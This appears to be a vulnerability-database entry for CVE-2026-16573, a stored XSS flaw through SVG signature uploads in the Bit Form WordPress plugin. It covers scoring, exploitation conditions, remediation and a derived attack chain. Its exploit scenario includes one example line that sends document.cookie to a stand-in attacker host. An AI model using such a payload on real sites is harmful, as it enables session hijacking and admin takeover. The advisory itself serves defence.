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Bit Form EUVDEUVD-2026-53101

| CVE-2026-16573 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-05 WPScan GHSA-5prm-g28p-frm9
7.5
CVSS 3.1 · Vendor: WPScan
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify public Bit Form with signature field
  2. Delivery
    Craft SVG with embedded JavaScript payload
  3. Exploit
    Submit form unauthenticated with malicious SVG
  4. Install
    SVG stored without sanitization
  5. C2
    Admin views form submission
  6. Execute
    Payload executes in admin browser context
  7. Impact
    Session or credentials compromised

Vulnerability Assessment

Weakness
CWE
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the Bit Form plugin (version < 3.2.0) to be installed and active, with at least one published form that includes a signature image upload field accessible to unauthenticated visitors - this is a non-default form configuration that must be deliberately enabled by the site operator. The stored payload only executes when a user views the submission: typically an administrator reviewing entries in the WordPress admin panel, meaning attacker control over trigger timing is limited. The CVSS AC:H rating indicates additional complexity, likely tied to the specific rendering path (MIME type handling, inline vs. object-tag embedding) needed for script execution, meaning not all SVG submissions will reliably fire in all environments. Exploitation is limited by: (1) requirement that a signature upload field exists in a public form; (2) UI:R - a victim must actively view the stored file; (3) AC:H - browser and server MIME configuration must permit active SVG script execution. SSVC confirms Exploitation: none and Automatable: no at time of analysis.

Impact

The supplied CVSS 3.1 vector (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H) scores 7.5 and contains some metrics worth scrutiny. AC:H signals that exploitation is not straightforward - likely because reliable SVG script execution depends on how the file is served (MIME type, inline vs. linked rendering) and the specific browser environment. UI:R correctly reflects that a victim must view the stored SVG, restricting the attacker's control over timing. The S:U (Unchanged scope) appears to understate the realistic impact of stored XSS, which crosses security contexts into the victim's browser session; a scope-changed assessment is defensible. A:H in the context of a pure XSS is likely inflated - direct availability impact is not a characteristic of this attack class. EPSS at 0.18% and SSVC Exploitation: none both confirm that mass or automated exploitation is not occurring. The SSVC Technical Impact of 'total' reflects worst-case admin compromise but assumes a privileged viewer, which is a realistic assumption for form submission review workflows. Net assessment: this is a real but not urgent priority - patch it in the normal update cycle unless the site processes sensitive form data reviewed by administrators, in which case expedited patching is warranted. The A:H component of the provided CVSS vector is likely incorrect for a pure XSS and may overstate severity.

Exploit ScenarioDerived

An unauthenticated attacker identifies a WordPress site running Bit Form before 3.2.0 with a public form that includes a signature field, then submits the form with a crafted SVG file embedding a JavaScript payload (e.g., document.location='https://attacker.tld/?c='+document.cookie) as the signature image. When a WordPress administrator opens the submission review panel and the SVG is rendered by their browser, the script executes in the admin's session context, exfiltrating authentication cookies or silently performing privileged actions. A public proof-of-concept is available via the WPScan advisory, lowering the skill threshold for this attack.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

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AnalysisAIv1 – Aug 05, 2026

Stored Cross-Site Scripting in the Bit Form WordPress plugin before 3.2.0 enables unauthenticated attackers to upload crafted SVG files containing embedded JavaScript as signature images, which execute in a victim's browser upon viewing the submission. Any authenticated user - most critically a WordPress administrator - who reviews form submissions containing the malicious SVG is at risk of session hijacking or unauthorized administrative action. A public proof-of-concept is available per WPScan; however, EPSS stands at 0.18% (8th percentile) and CISA KEV does not list active exploitation, indicating real-world opportunistic exploitation has not been widely observed.

RemediationAI

Update the Bit Form plugin to version 3.2.0 or later - the vendor-released patch is available through the WordPress plugin repository and resolves the SVG sanitization gap. The WPScan advisory at https://wpscan.com/vulnerability/a102e6ba-02f3-46cf-b496-f129ea3d9c8f/ and the NVD entry at https://nvd.nist.gov/vuln/detail/CVE-2026-16573 provide further patch context. If immediate patching is not feasible, consider disabling the signature image upload field in all active Bit Form forms - this removes the attack surface entirely but impacts legitimate signature-capture workflows. Alternatively, restricting form submission to authenticated users raises the exploitation bar from unauthenticated to at minimum a low-privilege account, though this changes form functionality and may not be acceptable for public-facing forms. Web Application Firewall rules blocking SVG uploads at the perimeter can also reduce exposure, though they introduce false-positive risk for legitimate SVG use.

Affected VersionsENISA

Bit Form 0 <3.2.0

Affected Packages

euvd bit_form fix: 3.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

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Technical ContextAI · show details

Bit Form is a WordPress form builder plugin (CPE: cpe:2.3:a:unknown:bit_form) that supports signature image uploads as part of its form field types. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting): the plugin stores user-supplied SVG files directly without sanitizing their XML content. SVG is an XML-based image format natively capable of embedding JavaScript via inline <script> blocks or event attributes (e.g., onload, onerror). Because browsers treat SVGs served with certain MIME types as active documents rather than static images, any embedded script executes in the document's security context when the file is rendered. This distinguishes SVG-based XSS from conventional reflected or DOM-based XSS: the payload persists on the server and fires against any user whose browser renders the stored file, requiring no repeated attacker interaction after the initial upload.

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Severity by source

Vendor (WPScan) PRIMARY 7.5 HIGH
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 8.0 HIGH

Scope changed to C as XSS executes in victim's browser context; A:N because XSS causes no direct availability impact.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (WPScan).

CVSS VectorVendor: WPScan

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Patch available
Aug 05, 2026 - 07:01 EUVD
CVE Published
Aug 05, 2026 - 06:00 cve.org
UNKNOWN (no severity yet)
CVE Published
Aug 05, 2026 - 06:00 cve.org
HIGH 7.5

DescriptionCVE.org

The Bit Form WordPress plugin before 3.2.0 does not sanitize an uploaded signature image before storing it, allowing unauthenticated attackers to upload a crafted SVG file containing JavaScript that executes when the file is viewed, leading to Stored Cross-Site Scripting.

Executive ViewAI

Why It Matters

The Bit Form WordPress plugin (versions prior to 3.2.0) is vulnerable to stored cross-site scripting attacks enabling unauthorized administrative access on affected WordPress sites. Public exploit code exists, though widespread active exploitation has not been observed. Organizations running this plugin must update immediately to eliminate the risk of administrator account compromise.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Low
niche WordPress form builder, not among top-tier plugins
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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